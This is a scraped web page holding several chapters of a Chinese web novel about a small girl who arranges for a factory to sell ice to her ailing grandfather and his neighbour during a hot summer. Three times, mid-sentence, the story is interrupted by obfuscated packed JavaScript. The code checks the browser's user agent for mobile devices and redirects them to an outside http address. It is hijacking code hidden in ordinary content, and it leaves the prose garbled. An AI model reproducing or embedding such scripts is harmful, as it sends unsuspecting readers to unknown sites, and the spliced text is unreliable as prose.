孙振华说到做到，反正也没有更好的故事书，还不如这个简单有趣。不过他还是让马丽丽将书带回家看，看完后想一想第二天再来“编”给他听。 马丽丽还能怎么办，编呗。 一开始的故事编的还挺正经，孙老头很满意，觉得自己这办法不错，马丽丽口语也锻炼了。 可是很快马丽丽就开始放飞自我起来，什么丑小鸭长大后回来臭显摆报复嘲笑过自己的动物，什么小红帽跑去摘了毒蘑菇跟大灰狼斗智斗勇，什么列那狐沾沾自喜最后变成一张狐皮围脖…… 孙振华：“……”现在的小孩子都在想什么啊？ 孙老头搞不懂，但孙老头大为震撼。 就，大家都得好好学习，才能天天向上呢（bushi)。 马丽丽瞎掰的故事讲完的时候，孩子们最喜欢的夏天也到了。 冰棍厂如期开放，但幼儿园还没到吃冰棍的时候，问题不大。想吃冰棍的小朋友可以带着家长到冰棍厂门口打几个滚，通常都能吃上一分钱一根的冰棍，大大的一根能舔很久。 还有绿豆冰棍和牛奶冰棍，就要贵些而且只有普通糖水冰棍的一半大，不过这还不是顶级的，最贵的奶油冰淇淋，一块钱一小杯，而且只能在冰棍厂吃，吃完还得把杯子还回去。 我在仰望，月亮之上…… 能吃上一回的小朋友第二天在幼儿园都是神级的存在，那必须得在一帮子流口水的小朋友面前仔细描绘一下冰淇淋的口感，通常还不止一遍。 没有零食吃的童年真是太苦逼了，孩子们不得不发挥“神农尝百草”的精神给自己添点味。 最受欢迎的当然是各种野果子，各种“le泡”就是野果中绝对的南博万，“le泡”不是一种果子，而是红色黄色紫黑色小浆果的统称，包括树莓、蓬蘽之类，有的长在灌木上，有的长在藤蔓上，有的一包蜜，有的上面还长着小刺拉舌头。 “le泡”到处都是，但也不是没有其他野果。乌菍子、奶果子、禾线子、茶果子、刺梨、桔钮子、盐果子、乌饭子、酸咪咪、酸米子、八月拿……有时候散着步就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022906|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见有人在旁边山壁上爬来爬去，不用说，新一波的野果子又熟了。 长在地上的果子谁都能看见，除非专门爬山去摘，能吃上全靠运气，不过也有一些只有小孩子才感兴趣的玩意儿。 三叶草有很多种，比如打把草，三片叶子由肥厚粗壮的草杆子支棱着，开粉紫色小花，把草杆外面的皮弄掉，留下连着叶子的草茎，然后两个人拿着各自的草绕在一起，一拉，断的人就输了。 玩腻了再拔一把草，撸掉叶子，捻掉根，草杆能吃，但非常酸，啊，比赛又开始了，谁能吃更多谁就赢了。 还有一种三叶草，一小丛一小丛的，拔起来后，它的根茎像小萝卜一样。 朴素的孩子给它起了个朴素的名字：“包子馒头”，因为根茎上长着一小团一瓣一瓣的东西，这玩意就是“包子”，但不能吃，能吃的是下面的“馒头”根茎。洗干净放嘴里，汁水丰富没什么渣，味儿也淡，仔细嚼能吃出点清甜来。 马丽丽倒是很喜欢这个，她下午跟爸妈或是姥姥上菜地的时候，除了各种“le泡”，她都要会找一些这个，有锄头可方便，一下子就挖出来了。 天气热了，菜地里的活也多了，浇水、施肥、耙土、除草、间苗……总有活，顺便还把能吃的瓜果蔬菜都带回去，要不怎么说兔子们都爱种菜呢，实用性确实高啊。 不过随着盛夏到来，热气就变得越来越难耐，每到清晨最凉爽好睡的时候，外头的知了就开始“嗞哇嗞哇”，等到中午，这声音简直让人心头烦躁。 中午最难受的时候到了，风扇开得再大也只能搅出热热的风，午睡起来，草席上能多个人形。在最热的时候还要赶去上班，大家伙都免不了得先喝一碗解暑的汤水。 晚上八点后天才会变黑，没有了太阳，气温也开始下降，厂区的住房大多依山傍水，这时候风也开始变凉了。 房间里还是闷热的很，户外更加舒适，大多数人都愿意出来散步乘凉，有的人甚至到十点十一点才回家去。 叫不出名的小虫们昼伏夜出，只在晚上开歌会，高高的树上，路边的草丛，浅浅的土里，有人路过声音会暂歇，人一走身后立时又是各种鸣叫。 等到大部分人都回家准备入睡时，小虫们更是肆无忌惮的大喊大叫，即使早睡也是睡不着的。 没有冰箱和空调，不管是水泥楼还是木板房里办公的人们都羡慕起在厂区上班的工人了，因为厚厚的水坝十分隔热，一走进通道，35度的温度瞬间降到了25度，凉风习习，舒适宜人。 气温高的时候汗一出来就干了，身上半点不汗湿，却感觉呼吸不畅，温热的“凉水”喝下去也不解渴。 冰棍厂最忙的季节来了，虽然早上十点才开门，但工人都是干12个小时两班倒。 其实冰棍厂应该是冰厂，主业是制作冰块给机器降温，副业才是卖冰棍，只是大部分人都只知道它的副业罢了。 马丽丽就是在很久以后才知道冰棍厂的主业的，不过现在倒是方便她，她过年后卖的鸡毛钱，终于有了用场。不用不行，晚上她十点睡觉的时候，摸着房间里的墙壁都还是热的，只恨不得光着屁股睡觉。 这都还好，毕竟小孩子，夏天即使多洗个澡也方便，问题是家里头还有病人呢，姥爷和孙姥爷这一个多月明显瘦了许多，本来就不胖，一瘦更明显，两人的脸都有些“瘦骨嶙峋”起来。 两家人天天做绿豆汤也没用，马爸爸只好开了一些中药汤来祛暑，可是这玩意一喝就倒胃口，胃口一坏更吃不下饭，简直恶性循环。 23.第二十三章 马丽丽这时候就想起来冰厂了。她揣着钱找了一个工作日偷溜出托儿所跑去冰棍厂，这会子冰棍厂正忙着呢，机器轰轰的，前面一个人都没有。马丽丽站在前台个子还没有柜台高，她拖了一张长凳爬上去，冲着里面喊：“有人吗？有人吗！！” 一会儿还真出来一个人，明明外头酷暑难耐，他却穿着秋装制服，真是……叫人羡慕呀。 “哎，小孩，你哪家的，快下来，这危险的很。”那人看着马丽丽爬了下去，这才问：“小朋友，你要买冰棍吗？你带钱了吗？” 马丽丽仰着头，感觉有点费劲，她抓着钱说：“我要买冰。” “卖冰棍？你这钱多啦，你太小可不能随便把家里的钱拿出这么多来，一根冰棍一分钱……” “不是冰棍，是冰，冰块啦。” 那人十分惊奇，他低头问马丽丽：“小朋友，你是哪家的啊？你要买冰块？你知道这冰块有多大吗？那可不能吃的，都是自来水做的。” 马丽丽无语，唉，年纪小就是这么不方便。“我是马医生家的，我叫马丽丽，我知道冰块，你们冰厂不是做冰块的吗？我想买，一块多少钱？” 那人更加惊讶了，这小孩还真知道，不过马医生，他不怎么熟，但也知道是医务所的。他哈哈一笑，蹲了下来，“马丽丽小朋友是吧，我们这里的冰块是不卖的呦你知道吗？都是很大很大一块的，你也带不走。不过冰棍是可以卖的，你还是买个冰棍吧？” 马丽丽的回答是翻了个白眼，“所以你们不能自己卖冰块，我得去找王伯伯是吧？”王伯伯是总务科王祖文科长，冰厂就是归他管。 马丽丽自然是不认识王科长的，可是那人不知道啊，他听马丽丽叫“王伯伯”，还当是主任熟人家的孩子呢。于是他不以为意的说：“那你得去问问你王伯伯，他这会就在办公楼上班，你问好了他要是同意我就卖给你。” “好咧。”马丽丽套了个消息，二话不说就去了办公楼。 总务科在办公楼的三楼，跟厂长和书记一个楼层，马丽丽也不怵，不过话说回来，以前她还真没仔细看过这一层呢，她一路找过去，来往办公的人好生奇怪这个点怎么有一个小朋友跑到这里来了？ “总务科，总务科”，马丽丽嘴里叨咕着，“啊，这里。”她伸头看了一眼，里面有两个男性办公人员，一个年纪大些，大概五十岁，一个年纪轻些，大概三四十岁。 马丽丽敲敲门，说：“你好，我找王伯伯，请问你们谁是啊？” 两人抬头看向门口，年纪大的那位问：“小朋友，你是谁啊？你找王伯伯有什么事吗？” 马丽丽走上前，说：“伯伯，我听说王叔叔是管冰厂的，我想找他买冰。” 年纪大的听着感觉有点不对劲但没发现问题，年纪轻的那位倒是听出来了，他好奇的问：“小朋友，你刚才不是叫王伯伯吗？怎么改王叔叔了？” 大人有时候就是会这样，总是喜欢对一些小事刨根问底，马丽丽也是大人过来的，但重新变成小孩子后她依然会觉得……有点烦。 “因为刚才我叫的时候，那位伯伯看了你一眼呀，所以你才是我要找的人，对吗，王叔叔？” “嘿，这小朋友还挺聪明，你是哪家的啊？” 马丽丽心说，来了，秀糖！ “我叫马丽丽，我爸爸是马医生，我妈妈是徐老师，我姥爷是徐组长，他隔壁住的是孙振华爷爷。我姥爷和孙爷爷去年做了手术，身体不好，天气太热他俩中午不吃饭，所以我想买冰让他们凉快凉快。一块大冰，一人一半，中午就凉快啦，还能睡好点。” 两个大人听完明白了，这孩子倒是有心，可是事儿不大却不太好办，因为冰厂本来就是为了机器降温特地增设的，卖冰棍也是副业，要把给机器用的冰卖给个人，这例子一开，这天又这么热，到时候再有人来买，这冰是卖还是不卖啊？ “这个……我可不能做主啊，马丽丽小朋友。”王科长摸摸头。 “唉。”马丽丽叹了口气，满脸纠结，“你管冰厂也不能做主，那我去问问厂长爷爷吧。”说完转身要走。 “哎，等等。”王科长赶紧叫住她，让小朋友自己找上厂长的门这还了得？他无奈的说：“那我去跟厂长汇报一下，小朋友你……” “我可以跟你一起去吗？”马丽丽紧接着从口袋里掏出一把零钱来，“我可以讲价吗？” 这话一出把两人都逗笑了，王科长站起来对马丽丽说：“那你可得自己跟厂长说，走吧。” 厂长办公室在另一头，王科长带着马丽丽走过去，办公室门大开着。里面的空间比其他办公室大一倍，一边给厂长办公用，另一边当作一个小接待室。 史厂长拿着个大搪瓷杯正在倒水，王科长敲了敲门，厂长转过身：“小王？有什么事吗？” “厂长，我有个事要跟您汇报一下。” “哦，那进来吧。” 马丽丽跟着王科长走进去，史厂长见到她也是惊讶，“这个小朋友是谁啊？” 来活了~ 不等王科长解释，马丽丽立刻麻利的把刚才的自我介绍又来了一遍。 把史厂长都听得一愣一愣的。完了马丽丽又掏出她那把子钱来，问：“厂长爷爷，买冰可以便宜点不？” 史厂长搞明白后也是忍俊不禁，他很认真的对马丽丽说：“小朋友，你很聪明，但是这个事呢，爷爷暂时没办法答应你，我们得开会讨论之后，大家都同意才行。” 马丽丽了然，心想，果然单位就是麻烦呀，她把钱塞回口袋，又昂着头说：“那我可以先排个队吗？” “好吧，这个我可以做主。” “那……有便宜点吗？” 史厂长：“……” 王科长：“……” 这小孩咋长的，挺有一套哈。 马丽丽还是挺满意的，她本来也没想过今天去找人就真能卖着冰，不过……态度还是要有的，对吧？ 这事以前没人想过，但不代表没有，搏一搏，单车变摩托。 每到夏天冰厂就加班加点的产冰，除了给易损机器、精密仪器和物料保温，其实是有剩余的。 多余的很大一部分冰都提供给了食堂，再剩下的冰有一小部分给了有特别需要的部门，比如医务所有一些需要保持一定温度的药剂和中药，再剩下的冰就会储备起来以备不时之需。 总之肯定产能过剩，拿出来做福利又得口碑又得实惠，这么想的人绝对不止一个，只不过没人愿意做这个出头鸟。 马丽丽就没这个顾虑啦。 果然一周后，厂里就出了通知，说为了照顾厂里生病养病体弱的职工，有需要的可以拿手术或是病例等证明去冰厂预定冰块，一个家庭一天最多能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026760|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买五十斤的冰，十斤冰一毛钱，需要提前三天去总务科预定，而且需要自己想办法带回家去，还特别注明了这冰不能吃，只能用来降温。 啊？买个冰就为了降温？有这必要吗？一个月工资才三五十块钱，买个冰，啊，还不当吃不当喝的，钱多了烧的吧？再说厂里每个月会发冰棍票，小孩吃吃冰棍就好了啦。 没必要，完全没必要。 大家还在观望的时候，马丽丽立刻带着钱和姥爷的手术单直奔总务科。 “你好，我要定冰。”这回马丽丽熟门熟路的敲了敲门。 王科长看到马丽丽不由的笑了起来，“哎呀，是马丽丽小朋友呀，你来啦？” “嗯，王叔叔，我就是来给姥爷买冰的呀。” “好的好的，你想要多大的呀？” “我要最大那种。” “哦~最大那种呀，那你想定多少？” “我要定一个月哒。” “一个月啊，那可不少，30天那就是1500斤的冰哦。” 王科长拿出登记本一边问：“你姥爷叫什么呀？” “徐正义。” “徐正义，嗯，把他的证明给我看一下。” “给。” 王科长拿过各种病例单据翻看了一下，在登记本上记下手术时间病症。马丽丽惦着脚看他写，顺便扫了一眼前头登记的人。 虽然现在很多人还在觉得划不来，但是登记买冰的也不少，打头那两位马丽丽知道，是两个当过工农军的离休老干部，后面几位马丽丽有的知道有的不知道，大都是跟现任领导们沾亲带故的，看来都是有消息渠道，不过人家都是有正当理由，后面都附了相关证明。 “好了，写好了，哎，不用你现在给我钱！这钱呀，要从你爸爸妈妈工资里扣，你是想写你爸爸还是妈妈呀？” “嗯……扣我爸的。” 好么，王科长心想，马医生这是又给老丈人送了个礼，他手里写了下来，还给马丽丽看了一眼，“写好了，看得懂吗？” 马丽丽惦着脚快速看了一遍，上面写了日期，是从三天后开始，五毛一天，五十斤就是十五块钱。不过咋还照称的吗？ “没错！” “你还真看得懂呢？知道这上面写了什么吗？” “徐正义，就是我姥爷，三十天，就是一千五百斤冰，五毛一天，十五块，没错。” 王科长十分惊讶，“你多大就认识这么多字呢，还会算数？” “对呢，我妈妈可是徐老师呢！” 电厂这么大，聪明的人也不少，王科长也只是觉得这么点大小孩就识字，新奇了一会儿就放下了，他又转回正题：“那你家的冰到时候让谁来拿呀？” 马丽丽想了一会儿，“让我小舅舅来吧……但是我还没跟他说呢，等我回去问问。” 王科长：“……”好家伙，长辈都安排得明明白白的。 “行吧，那我先把票给你。”王科长在票上写好信息，现场盖了章，然后递给马丽丽。 “谢谢王叔叔。”马丽丽吹了吹新鲜出炉的冰票，等印泥干了再放进口袋拍了拍。 今天晚上徐明惠要上晚自习，于是全家又去姥姥家蹭饭。 正吃着呢，马丽丽突然想起来口袋里的票，她马上放下筷子举手大喊，“我有事要说，大家听我说一下咧。” 24.第二十四章 “做什么怪样，赶紧吃饭。”妈妈敲了她的手一下。 “我真有事。”马丽丽翻身爬着椅子站起来。 “哎呀，啧，小心点。”坐在另一边的徐高远赶紧放下筷子虚扶了一把。 “当当当当。”马丽丽拿出票举在头上，“看这个。” “这什么？”徐高远就着便利一把把票抢了过来，“哎呦，是冰票，是三十天……一天五十斤！马丽丽，你买的？谁付的钱？” “什么？给我看一下。”徐明惠一愣，站起来伸手让弟弟把票给她。 “当然是我买的，我自己去总务科登记的，还是王科长叔叔给我记的。哦，对了。”马丽丽又从口袋里拿出三张五块钱，这是她之前特地找姥姥换的，“爸，给你，这冰是我买的，不过王叔叔说得从家长工资里扣，所以我写的你的名字，先把钱还你。” “啊？”马天华心情复杂的接过钱，“我可真收了，不还你了？” “本来就是我想买的呀。” “马丽丽！你哪来的钱？”徐明惠生气的问。 “嘿呀，你叫什么？那是丽丽卖鸡鸭毛换的钱，这个我知道。”孙梅嗔道，又问马丽丽：“丽丽，你干嘛买冰啊，好贵的，你的钱也不能乱花知道吗？” 徐正义在一旁边接口：“明天去问问能不能退了。” “别退别退，这可是我特地去问的。”马丽丽把事情从头到尾说了一遍，“我没乱花，等三天后我们中午去拿冰，一半给孙爷爷，放房间里凉快凉快，姥爷和孙爷爷就能吃下饭了呀。再说也不浪费，冰不能吃，可是，可是我们可以拿来冰冰水，要不冰点绿豆水什么的，大家也能吃啊，对了，把菜放进去不容易坏，反正都能用，不浪费。” 大家伙听了一时无言，才四岁的小朋友，可真能搞事啊！想让姥爷多吃饭，这没问题，去冰厂买冰，这也没问题，可是冰厂买不到又跑去总务科然后还去找了厂长，最后还达成全厂买冰成就…… 厉害了啊你，马丽丽小朋友！ 知道马丽丽是为了自己，姥爷心里乐开了花，绝口不提退钱的事了，他说：“既然买了就算了，高远，你明天中午早点下班去拿冰回来。” “不是明天爸，上面写的是大后天。” “害，总之你到时候记得去拿。” “我也要去小舅，你到时候来托儿所带我去！”马丽丽大叫，“我想看看是什么样的冰，到时候我们咋切开呀？还要分孙爷爷一半。” “得得，看我可能记得。”徐高远故意逗她。 一直在干饭也不能发言的徐明红兴奋的说：“小哥，你拿回冰来记得放杯子水嘛，等我下课回来喝冰水。” 马丽丽：“要糖水，说不定放久了还能冻上。” 徐明红：“对对，要不要冲点菊花晶？” 马丽丽：“这个可以有。” 徐高远：“……你俩自己整，我不给你们搞！” 徐明惠：“干脆我先煮一锅绿豆汤，到时候放里面冰着，那肯定凉快。” 她这么一说大家都畅想了一下那味道，炎炎夏日，透心凉的感觉肯定很爽。 徐高远感慨：“不错嘛，马丽丽，怎么样？今年还卖鸡毛，明年还能买冰哦。” 马丽丽叹了口气，老气横秋的说：“不行啦，过完年之后到现在货郎就来了两次，而且他们好像都不收鸡毛鸭毛了，也不知道为什么。” 孙梅：“……”应该不是上次那个货郎才来没多会儿就扛了几袋毛毛回去的原故吧？ 大家兴奋的谈论了一个晚上，然而三天后小舅舅徐高远却食言了。 原本徐高远是想拿个桶，拎着就回来了，可是姥爷姥姥不同意。 徐正义找了个木头箱子修了修，在两旁装上绳扣。孙梅先在箱子里铺了一层塑料袋，然后用马丽丽小时候用的小被子铺在里面，最后这个箱子被结实的绑在了自行车后面。 徐高远：“……” 徐高远：“有必要搞成这样子吗？” 孙梅：“有必要，这玩意多贵啊，还是人丽丽省吃俭用买的冰，你就用一桶拎回来？化了怎么办，那得浪费多少啊？” 徐高远：“……”行行行，怕了你们。 只是这样一来，马丽丽就没法跟着去了，总不能让她跟在自行车后头跑吧？不过姥姥答应中午还是接马丽丽回家吃饭，顺便一起把冰送到隔壁去。 “我回来啦，哎呦喂，这冷的，妈把我手套找个出来，明天我得带手套去，太冰了。”徐高远用桶把冰提上来，一进屋子，客厅的温度顿时就好像下降了不少。 “哇～”马丽丽同学发出大惊小怪的声音。 “来来，这里。”孙梅指着早就准备好的大木盆。马丽丽又把她的澡盆贡献出来了，澡盆里一个桶，一半冰块被敲成几块放进了桶里和盆里，然后分别放水，随后木盆里放满了肉和菜，桶里则放了一锅早上煮好的绿豆汤。 孙梅把另一半冰放进一个脸盆，对马丽丽说：“走，咱去隔壁，不然冰都化了。” “田姥姥开门~”马丽丽敲门，声音中充满了得意。 “来了来了。”田文珠笑着开门，然后看见了端着一盆冰的孙梅，“哎，孙阿姨，这是？” “是我！”马丽丽拍着胸脯彰显存在感，“是我买的，给孙爷爷凉快凉快。” “啊？”田文珠一头雾水，孙梅笑道：“先进去，进去说，冻手的很。” “对对，先进来。”田文珠把祖孙俩让进屋子，孙梅把盆放在桌上，客厅好像一下就凉快不少。 房间里一阵轻轻的窸窣声后，孙振华穿着背心披了件短袖出来，显然刚才他正躺着休息呢。 “孙爷爷，快，过来，坐这里，凉快不？”马丽丽得瑟的拉着孙振华坐到桌前。 孙振华坐下后呼了口气，确实感觉舒服多了。“这冰哪来的？” “是我！”马丽丽立刻又把事情说了一遍，“我可厉害了。” “那你可是厉害，敢情这买冰的事还是你谈成的？”孙振华夸张的举起拇指。 “嘿嘿，那是。”马丽丽摸摸头有点不好意思的说。 这时孙梅终于能插上话了，她指着盆对田文珠说：“这一半冰就是给孙工用的，今天先用着，明天你先准备个盆啊。” 田文珠：“哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030545|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀，你看这，这多不好意思。” 孙梅：“有啥不好意思，这都是丽丽买的，她要孝敬孙工还能不行咋的，再说也只定了一个月呢，也没花多少钱。行了，我回了，你们留步啊。” 田文珠：“嗳嗳，好，那可真是谢谢丽丽啦，好孩子，真是好孩子。” 等隔壁两人走后，田文珠还对孙振华感慨，“丽丽这孩子可真是……”她不好怎么说，“这么小一丁点，想的还挺周全。” 孙振华心中也觉得马丽丽这事儿干得挺漂亮，至于卖冰花钱，这倒不是一个事儿，孙家两夫妻也没觉得是个还不上的人情。 中午吃饭的时候，孙振华觉得舒服不少，饭也吃得下了，两人还商量着如果下个月徐家不买冰，他们来买，就跟丽丽这样的，五十斤两家各一半，徐家年轻人还能帮忙把冰拿回来。 徐明红心里想着冰冰冰，最后一节课都没心思上了，下课铃声一响，她立刻狂奔回家。一进家门，徐明红同样发出了没出息的声音：“哇~~好凉快……怎么这么黑？” 当然黑啦，为了减缓融化，客厅的窗户都装上了冬天才用的厚窗帘，所有房间门都关上了，大夏天的中午一片昏暗。徐正义、徐高远和马丽丽都坐在电视前看电视，三人面前放着一个装着水的木盆，里面还放着一个桶。 “好了，洗洗脸，准备吃饭。”孙梅把第一盘菜端上来，“别坐着了，收拾收拾桌子，把盆子放到旁边去。” 马丽丽跳起来，殷勤的对徐明红说：“小姨，我帮你擦汗。” 虽然徐明红很想直接用冰水擦汗，但这可不行，只能用被晒得温温的自来水擦，然后再把汗湿的衣服换掉，到客厅一凉，舒服。 冰盆子连里面的桶一起搬到了角落，一会儿徐明惠和马天华也来了，他俩明显忘记了今天要拿冰的事，进来就是一愣。 很快一家人就舒服的坐在了桌子前开始吃午饭，清凉让大家都食欲大开，都说虽然这冰有点贵，但花的挺值，不如下个月再定一个月。 “哎，先不说定冰的事，明天我没办法去拿冰了，我最后一节有课。”徐高远突然说道。 “啊？你怎么不早说？”孙梅想了想，“那我去吧，我带个桶。”她不会骑车。 “还是我去吧妈，我明天早点去，拿了回来再去上班。”马天华赶紧咽下嘴里的食物说，“到时候我骑着车去，就一会儿应该没事。” 这事儿就这么定了，徐正义瞪了儿子一眼。 午睡时孙梅把大半桶化了水的冰和一些碎冰放在房间里，年纪大了太冷也不行。 在盆里的冰水就被马天华提回去了，不算太冰，擦擦身子拖拖地，房间很快就降温了不少。 擦过汗的冰水用来拖地，铺上草席，吹着吊扇，徐高远决定有冰的日子就在爸妈家打地铺了。 剩下的冰徐明红弄了点在房间里折腾了半天，她一会儿想放床上一会儿想放地上，一会儿觉得热放近点一会儿觉得冷放远点，午睡都没好好睡就要去上课了。 最后一点冰□□的冰着绿豆汤，就等着午睡起来喝。 总之，每一点冰都用的明明白白，决不浪费。 25.第二十五章 除了一点小插曲，大家都觉得有冰的中午确实舒服，只是可惜午睡起来时冰差不多就全化了，时间太短总觉得有点不划算。 “怎么不划算，这水也凉快，呆会我拿来拖地，下午等你们下班也没这么热了。”孙梅又说，“这段时间丽丽就别去托儿所了，那里也热的很，不如在家里凉快。” “好耶~”马丽丽开心起跳。 “别太闹，姥姥可抓不住你。”徐明惠嘱咐了几句就抓紧时间上班去了。 虽然花了钱，可是大家的幸福感显著提升，就连马丽丽玩起来也觉得有劲多了。 夏天晚上天黑的晚，晚上才吃了饭就有小朋友开始在楼下挨个喊人。 “朱莉莉下来呀。” “马丽丽，快下来。” “郝伟，下来玩。” 总之附近楼的小朋友一个都不能少，什么年龄段的都有，人多才好玩呢。 家长们也没有三四岁小孩就单独跑下楼去玩不安全的想法，这就是在电厂上班的好处了。周围住着的都是相互认识的人，有时候来了个不认识的，便有许多双眼睛都盯着呢。 一群小孩在楼前空地玩，有打羽毛球的，跳皮筋的，追追打打的，捉迷藏的，甚至还有拿装卫生纸的长条塑料袋套苍蝇的。 今天马丽丽没有在楼下玩，钟庆阳喊她去他家。 钟庆阳家住在医务所后面的小山上，在后面就是他家的菜地，山壁上长了不少小浆果，最近正是成熟的时候。钟庆阳叫上马丽丽一起去摘果子吃，马丽丽欣然同意，吃了晚饭便一溜烟的跑去钟庆阳家玩。 摘了果子吃，又在菜地附近玩了一会儿，钟庆阳的妈妈把他们叫回去洗手洗脸洗脚，两个小朋友玩了一会儿积木又看了一会小人书，眼瞅着九点多了，马丽丽这才告辞。 外头天都黑了，不过隔十几米就有路灯，灯罩下，许多甲虫和飞蛾都在用力的撞击昏黄的灯泡，真身演绎什么叫“飞蛾扑火”。 路灯下的水泥地上也有不少小虫，马丽丽蹲下来挑了一个腿脚完整的金龟子，捏在手上，一边哼歌，一边摇摇摆摆的向家走去。 “马丽丽？”突然身后传来一声叫唤。 马丽丽回过头，原来是妈妈下了晚自习。 徐明惠下了单车，刚才他她还以为自己认错了人，没想到这个大晚上一个人走在路上的小鬼头，还真是自己的女儿。 “马丽丽，你刚才去哪了？”徐明惠好奇的问。 “啊，我去同学家玩了。”马丽丽扔掉金龟子，扒住妈妈的裤腿，“我要坐单车。” 徐明惠慧撑着单车好让马丽丽爬上后座，心里却觉得好笑，明明是还在托儿所的三四岁的小屁孩，嘴里却一口一个同学的，真是可爱的很。 回到家，徐明惠把这件事说给丈夫听，马天华想到那个场景，心里也忍不住同意妻子的说法，自己的女儿确实是有趣又可爱。 “爸！” 这天下午，送走看病的人后正在喝水的马天华听到声音伸头一看，自己女儿挎着一个布包正站在看诊室门口呢，他有些惊喜：“丽丽，你怎么来了？是来接我下班那？” 马丽丽跟同室的几个医生护士都打了一遍招呼后溜到马天华身边，“爸，我们去游泳啊？” 啊？这么急？ 马天华抬头看了一眼墙上的钟，“去不了，还没下班呢。” 马丽丽也扭头看了一眼，“这不是快了吗？还有十分钟。” 见旁边的同事看过来，马天华感觉有点尴尬，他把女儿撸到自己靠墙这边，跟她说道理：“再等十分钟，下班我们还要回家一下子呢。” 马丽丽：“还回家干嘛，我们直接去啊。” 马天华：“那我也得休息一会，换个衣服，拿上毛巾吧？” 马丽丽拉开包：“我都带了，你游泳用的裤衩还有毛巾，还有我的毛巾，你现在休息十分钟下班，不正好就去了吗？我还带了票，游完正好买根冰棍吃。” 马天华：“……”这安排得明明白白啊。 道理说不过，马天华只好按安排行事，下了班他脱下白大褂跟着马丽丽去码头。 码头就在冰厂后面，以前建电站时用来运输物质的，这里做了一个长长的大概两米宽的石头台阶，每二十阶就有一个平台，一直向下到河底，两旁还有五十公分的水泥挡水台。 现在码头是电厂人游泳的地方，一下班这里就跟赶集似的，人声鼎沸，熙熙攘攘。 也没有更衣室，来游泳的人都在家里换好衣服，男的也没啥游泳裤，就是穿个不会被水冲跑的裤衩，来了就把背心或是短袖一脱就能直接下水，女的也会在家里换好泳衣，到这里把外衣脱了就行。 回去的时候大家都是湿漉漉的随便用毛巾擦一擦，就穿着外衣回家冲洗，但也有那么几位不讲究，带着香皂来游泳，带着一身泡泡跳进水里，这就算洗澡了。 因为人太多了，所以马丽丽才会这么迫不及待的要老爸赶紧走，不然一会儿浅水区到处都是小朋友，可怎么游泳呀？ 就算这样，他们来到码头时这里已经有不少人了，大多数都是爸爸带着孩子。 “啊！快走快走。”马丽丽连蹦带跳的跑到河边，把自己带的包放在挡水台上，又把鞋子脱在台阶上，这里已经放了好一排毛巾鞋子了，再多点只能往上放了。 一般青春期和小女孩都不会穿泳衣，主要是没小孩泳衣卖的，大人也觉得没必要花这个钱，所以大家就是穿着裤子或是裙子下水。也有一些更小的，像马丽丽这样三四岁四五岁的，也跟男孩一样穿着短裤游泳的，但不多。 今天马丽丽特地穿了一条旧裙子，她简单扭了扭手脚直接就跳下了水。 “你给我慢点，马丽丽！”马天华急急的脱了衣服赶过来，一下河他忍不住打了个哆嗦，“嘶。”好冷。 三米宽的台阶被默契的分成几块区域，两三个同为托儿所的小朋友在一旁扑腾，大人站在这里的台阶，水还没有淹到膝盖。爸爸妈妈们用毛巾或是草绳挂在小朋友的腰或是腋下，就这么牵着他们啪啦啪啦“游”一圈。 台阶中间一串小学生排着队从“深水”往浅水划动学游泳，这些小学生也就八岁十岁的，他们的深水区其实只到自己胸口大人大腿这里，他们每个人都像小青蛙似的，只“呱呱”划两三下就到了河边，不过因为河水是流动的，还是有一个家长爸爸站在下游一边往身上拍水一边看着他们。 台阶上游这边就是一群十多岁会游泳的孩子啦，还不太会游的女孩子喜欢“呱呱”几下快快的游到不远处河底的挡水台上，这里如果是一个大人站着，水差不多到胸口，女孩子们踮着脚用力踩住可以让肩膀露出来，还算稳当。 刚刚会游泳的男孩们就大胆许多，他们会玩一些小游戏，像玩滑梯一样从挡水台的斜坡向下滑进水里，或是狗刨着向真正的深水游几下，拔几根水草，然后被大人好一顿呵斥吓唬。 水性更加熟练的男孩女孩们有更刺激的游戏，他们弄来一块红色的砖头扔进水里，大家伙就像潜水的鸭子一样一起扎进水里去抢砖头，先抢到的自然就赢了，下一轮就由他/她来扔砖头，而且砖头会越扔越深，直到大多数人都潜不下去为止。 几位带着孩子来玩水的爸爸们也自发的轮流出去游一圈就回来，其他人就在浅水附近关注着这群孩子。 大多数时候爸爸们都不会阻止这些游戏，虽然用现代的眼光来看这有些危险，但孩子们又不是傻子，心里都有数着呢，感觉不行的时候就会有大孩子及时喊停。 说千百遍不如上手自己试试，玩水总会有点小事故，但爸爸们在旁边，几双眼睛同时盯着呢，安全系数还是挺高的。 